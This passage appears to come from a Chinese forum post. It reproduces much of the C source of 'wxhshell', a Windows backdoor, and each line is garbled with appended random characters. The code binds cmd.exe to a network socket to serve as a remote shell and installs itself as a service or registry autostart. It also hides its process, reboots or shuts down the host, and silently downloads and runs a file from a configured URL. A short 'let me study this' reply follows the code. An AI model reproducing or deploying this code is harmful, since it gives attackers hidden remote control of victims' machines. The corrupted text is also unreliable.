  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YFP<^y=  
  if(DownloadFile(cmd,wsh)) JJy.)-R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Lr0:y o  
  else 8 &3KVd`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( @V_47o  
  } CV)K=Br5&_  
  else { DhXV=Qw  
RoNE7|gF:  
    switch(cmd[0]) { b>Ea_3T/  
  d .%2QkL  
  // 帮助 |G_,1$  
  case '?': { *P8CzF^>\&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p=3t!3  
    break; N3N~z1x0h  
  } 4ETHaIiWp  
  // 安装 Y`d@4*FN$  
  case 'i': { LcB+L](  
    if(Install()) $0vWC#.A]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ r  
    else Zu2`IzrG#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~f"3Wa*\B  
    break; KDP"z  
    } TQb@szp:|  
  // 卸载 UBJYs{zz  
  case 'r': { H4sW%nZ0  
    if(Uninstall()) D+BiclJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #!E`%' s]  
    else P j,H]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #-PMREgO  
    break; &iZt(XD  
    } )B+R|PZ,  
  // 显示 wxhshell 所在路径  Na@;F{  
  case 'p': { Z=Cw7E  
    char svExeFile[MAX_PATH]; !Z |_3  
    strcpy(svExeFile,"\n\r"); hW'b'x<  
      strcat(svExeFile,ExeFile); > ;#Y0  
        send(wsh,svExeFile,strlen(svExeFile),0); S(nQ?;9,  
    break; $${3I4  
    } $STGH  
  // 重启 `"PHhCG+z  
  case 'b': { U;IGV~oT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vH-|#x~  
    if(Boot(REBOOT)) rk4KAX_[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U<;{_!]  
    else { S7WHOr9XMV  
    closesocket(wsh); bCr W'}:de  
    ExitThread(0); ,9}JPv4Z  
    } ^;h\#S[%  
    break; J%|;  
    } U, 7  
  // 关机 (gPB@hAv  
  case 'd': { 9H;Os:"\|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `?.6}*4@_A  
    if(Boot(SHUTDOWN)) ezbk@no  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n0gjcDHQ  
    else { fZr{x$]N0  
    closesocket(wsh); 74:( -vS  
    ExitThread(0); >yLDU_P)  
    } E2dS@!]V  
    break; J k`Jv;  
    } Ws1|idAT  
  // 获取shell Gey-8  
  case 's': { W( sit;O  
    CmdShell(wsh); wBg?-ji3<  
    closesocket(wsh); l3u+fE,;_  
    ExitThread(0); 4[gbRn'  
    break; :Zkjtr.\  
  } R[6R)#o  
  // 退出 xi.?@Lff  
  case 'x': { k$m'ebrS.~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lg,ObVt!  
    CloseIt(wsh); \'u+iB g  
    break; ujE~#b}X  
    } zVtTv-DU  
  // 离开 *oIIcE4g7  
  case 'q': { .t>SbGC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9[*P`*&  
    closesocket(wsh); roAHkI  
    WSACleanup(); +}( ]7du  
    exit(1); Gw-{`<CxE  
    break; @oj_E0i3  
        } > 2/j  
  } n} !')r  
  } y]obO|AH  
s0vcGh#w  
  // 提示信息 yB *aG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5>CeFy  
} WuF\{bUh  
  } GmJ \3]{PZ  
2,B^OZmw  
  return; ! @Vj&>mH$  
} ]v@ng8  
^i WGGnGS  
// shell模块句柄 j!Ys/ D  
int CmdShell(SOCKET sock) *kF/yN  
{ K^GvU0\  
STARTUPINFO si; >b3IZ^SB#$  
ZeroMemory(&si,sizeof(si)); F$JA IL{W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 54TWFDmGi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X3gYe-2  
PROCESS_INFORMATION ProcessInfo; P&5vVA6K7  
char cmdline[]="cmd"; b+ZaZ\-y |  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "Ya ;&F.'  
  return 0; Ly, ];  
} <>-gQ9  
!{uV-c-5,  
// 自身启动模式 [tt_>O  
int StartFromService(void) e*Nm[*@UW  
{ -ECnX/ "  
typedef struct c[OQo~m$  
{ D,-L!P  
  DWORD ExitStatus; CSm(yB{|pC  
  DWORD PebBaseAddress; X88I|Z'HIh  
  DWORD AffinityMask; O,J,Q|` H&  
  DWORD BasePriority; ov!L8 9`[u  
  ULONG UniqueProcessId; lu1T+@t  
  ULONG InheritedFromUniqueProcessId; 5=8_Le  
}   PROCESS_BASIC_INFORMATION; hiR+cPSF  
l>HB0o  
PROCNTQSIP NtQueryInformationProcess; =5%}CbUU)4  
={190=\9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;lTgihW-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <_bGV  
=*y{y)B^g  
  HANDLE             hProcess; b%X}{/n  
  PROCESS_BASIC_INFORMATION pbi; }_Sgor83n  
i~HS"n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4HXNu,T'  
  if(NULL == hInst ) return 0; W"xRf0\V  
q>#P|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D{[i_K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a[lx&CHgI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _@|_`5W  
iqXsD gkr  
  if (!NtQueryInformationProcess) return 0; Rg~[X5  
\nVoBW(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _&@cU<bdee  
  if(!hProcess) return 0; '+S!>Lqb  
O,I7M?dRf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hM(Hq4ed,  
.M\0+,%/  
  CloseHandle(hProcess); *O Kve  
= &U7:u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VN@ZYSs  
if(hProcess==NULL) return 0; 5hiuBf<  
zjx'nK{eI  
HMODULE hMod; QO,ge<N+N  
char procName[255]; .7#04_aP  
unsigned long cbNeeded; =OA7$z[  
LA837%)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C9T- 4o1  
gD6BPW~0  
  CloseHandle(hProcess); Rmh,P>  
<,T#* fg  
if(strstr(procName,"services")) return 1; // 以服务启动 @eDL j}  
yucbEDO.  
  return 0; // 注册表启动 >LR+dShG  
} BQ~&gy{  
v{U1B  
// 主模块 =(5}0}j  
int StartWxhshell(LPSTR lpCmdLine) QV%eTA  
{ b@[5xv\J  
  SOCKET wsl; ~x +24/qT  
BOOL val=TRUE; TUO#6  
  int port=0; Zxv{qbF  
  struct sockaddr_in door; @/?$ZX/e[  
pM@0>DVi  
  if(wscfg.ws_autoins) Install(); :3*0o3C/  
Bk1gE((  
port=atoi(lpCmdLine); ';x5 $5k'  
]p~,C*UH0  
if(port<=0) port=wscfg.ws_port; MXpj_+@  
m=I A/HOR^  
  WSADATA data; \RTXfe-`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1FC 1*7A[  
a,p7l$kK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ch}(v'xv(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  qZP>h4  
  door.sin_family = AF_INET; nr{ }yQ u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O7I|<H/gVE  
  door.sin_port = htons(port); r|7hm:F)  
3sGe#s%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }Rq-IRa'  
closesocket(wsl); i+.bR.WO  
return 1; ;0\  
} j2{ '!  
%OsV(7  
  if(listen(wsl,2) == INVALID_SOCKET) { -U_<:  
closesocket(wsl); YJrZ  
return 1; X?.LA7)CK  
} FY]z*=  
  Wxhshell(wsl); 1 Xu^pc  
  WSACleanup(); %(wa~:m+S-  
qdVExO&  
return 0; mh`VZQ@  
v~>4c<eG  
} &+t,fwlM  
>@d=\Kyu  
// 以NT服务方式启动 3&JsYQu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K29KS)~;W  
{ Ib8xvzR6I&  
DWORD   status = 0; 7:T 5P  
  DWORD   specificError = 0xfffffff; BI6o@d;=4  
?en%m|}0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <:BhV82l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +#y[sKa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L pdp'9>I  
  serviceStatus.dwWin32ExitCode     = 0; m)?cXM  
  serviceStatus.dwServiceSpecificExitCode = 0; eJ!a8   
  serviceStatus.dwCheckPoint       = 0; 3AD^B\<gB  
  serviceStatus.dwWaitHint       = 0; tpi63<N  
"n@=.x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iPJZ%  
  if (hServiceStatusHandle==0) return; 8[;U|SR"  
_nj?au(@`Y  
status = GetLastError(); fKAG+t  
  if (status!=NO_ERROR) Iih~rWJ  
{ ~8EG0F;t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C '}8  
    serviceStatus.dwCheckPoint       = 0; l2!4}zI2  
    serviceStatus.dwWaitHint       = 0; ~?{@0,$  
    serviceStatus.dwWin32ExitCode     = status; !Hr +|HKQ?  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fu(I<o+T-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a4! AvG  
    return; EkqsE$52  
  } ghiFI<)VY  
wLC|mByq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A`Bg"k:D  
  serviceStatus.dwCheckPoint       = 0; G}\E{VvWh  
  serviceStatus.dwWaitHint       = 0; l$Y7CIH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %-:6#b z  
} l>M&S^/s j  
@Tr8.4  
// 处理NT服务事件,比如:启动、停止 vf(\?Js ,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T{j&w%(z  
{ _>*$%R  
switch(fdwControl) A_@#V)D2  
{ LE!3'^Zq  
case SERVICE_CONTROL_STOP: E-i rB/0  
  serviceStatus.dwWin32ExitCode = 0; I=pT fkTT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fF8g3|p:  
  serviceStatus.dwCheckPoint   = 0; :U<`iJwY  
  serviceStatus.dwWaitHint     = 0; 4jrY3gyBX  
  { E7axINca  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]ba O{pJi  
  } u<\/T&S  
  return; #x&1kHu<  
case SERVICE_CONTROL_PAUSE: mi3yiR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;^FV  
  break; pUr.<yc&u  
case SERVICE_CONTROL_CONTINUE: TP oP%Yj"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -$4PY,  
  break; F,`y_71<  
case SERVICE_CONTROL_INTERROGATE: qgU$0enSs  
  break; o$YL\ <qp  
}; r!etj3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9[B*CD |  
} hM(|d@)  
jzu1>*ok  
// 标准应用程序主函数 *A O/$K@Ma  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,?7U Rx*  
{ ( _E<?  
KaHjL&!  
// 获取操作系统版本 Y9 , KOs  
OsIsNt=GetOsVer(); vh+Ih Gi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `hL16S  
5>JrTO 5  
  // 从命令行安装 dH zo_VV  
  if(strpbrk(lpCmdLine,"iI")) Install(); >t O(S  
BfIGw  
  // 下载执行文件 'zZN]P  
if(wscfg.ws_downexe) { q!9SANTx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R y0n_J:7  
  WinExec(wscfg.ws_filenam,SW_HIDE); !["WnF{5eC  
} Qg9 N?e{z  
}0|,*BkI m  
if(!OsIsNt) { KyNv)=x4c  
// 如果时win9x,隐藏进程并且设置为注册表启动 \ M8;CN  
HideProc(); b4s.`%U  
StartWxhshell(lpCmdLine); Z@ * ^4Ve  
} B9n$8QS  
else N'!a{rF  
  if(StartFromService()) F\Ex$:%~  
  // 以服务方式启动 aDTNr/I  
  StartServiceCtrlDispatcher(DispatchTable); 3xh~xE  
else d?*=<w!A  
  // 普通方式启动 'ac %]}`-  
  StartWxhshell(lpCmdLine); M"#xjP.  
9dr\=e6) C  
return 0; z'MOuz~Y  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五